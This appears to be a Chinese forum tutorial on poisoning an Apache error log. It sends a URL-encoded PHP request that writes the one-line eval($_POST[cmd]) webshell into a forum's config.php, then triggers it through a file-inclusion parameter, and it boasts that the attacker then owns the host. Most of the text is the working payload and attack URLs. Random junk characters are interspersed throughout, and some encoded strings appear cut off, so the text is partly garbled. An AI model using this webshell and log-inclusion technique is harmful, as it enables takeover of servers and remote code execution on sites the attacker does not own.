标题: php包含apache日志写马
因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。 : q: f3 z$ H8 @$ }

. L2 }. S" _  X1 n- H比如还是这句一句话木马 ' Q5 W$ E  @: `" r; Y& A& E
<?eval($_POST[cmd]);?>   # j3 X4 ?1 ~1 @1 z4 B5 i

( g9 w1 j$ j* M6 Z9 r# k到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句， 4 M  P" C$ J3 a! d4 D6 g
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是 1 [& k+ l+ i+ S2 B; m, L
; c& O$ ~7 S, H1 P1 n$ |
<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>"); " C$ E5 d4 c5 v3 |( {! `
fclose($fp);?>   //在config.php里写入一句木马语句 7 {6 ?% ~# w+ n! k( W% [' @

0 F5 c1 _9 s& O我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。 . e; K! |" D  D8 m# a
转换为
( l$ R5 ^- c7 N' X%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F # Y/ ]0 }* V, n8 I! M( u! a1 ?

9 D2 G9 i7 Z1 P, e7 a; `fclose%28%24fp%29%3B%3F%3E   x7 G5 a1 a1 `
我们提交
! n) q# ]5 ]; [' N" G3 v) @# G  N, @http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
5 O* d  G  a* a3 E( T9 ?%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp 0 p* T. |1 B1 O# B  B) y8 q

. F$ r) R2 r0 O& n) [. r5 Lcmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E 1 h, `% G. O- X( @7 z2 X, I& w
( [/ d; H  i! F  ]8 m6 ^. `; `
这样就错误日志里就记录下了这行写入webshell的代码。 / h- `3 H8 T1 h5 Y2 A; Q; @
我们再来包含日志，提交 5 j: n% i. p$ O1 Y! f1 r
http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log # S. g6 K+ `6 V5 n7 I+ A
. o, \6 \* F( ]8 `% ^$ h: ~% I
这样webshell就写入成功了，config.php里就写入一句木马语句 * h+ R+ i5 }( T* s2 w
OK.
2 p- y& Z+ I, B: Vhttp://www.xxx.com/forum/config.php这个就成了我们的webshell " L) s3 k+ d/ h, _
直接用lanker的客户端一连，主机就是你的了。 4 H9 k0 u( T6 e/ S2 X& x/ g" y

PS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用 ( |1 X, E0 U' v" K* t, }+ T+ |
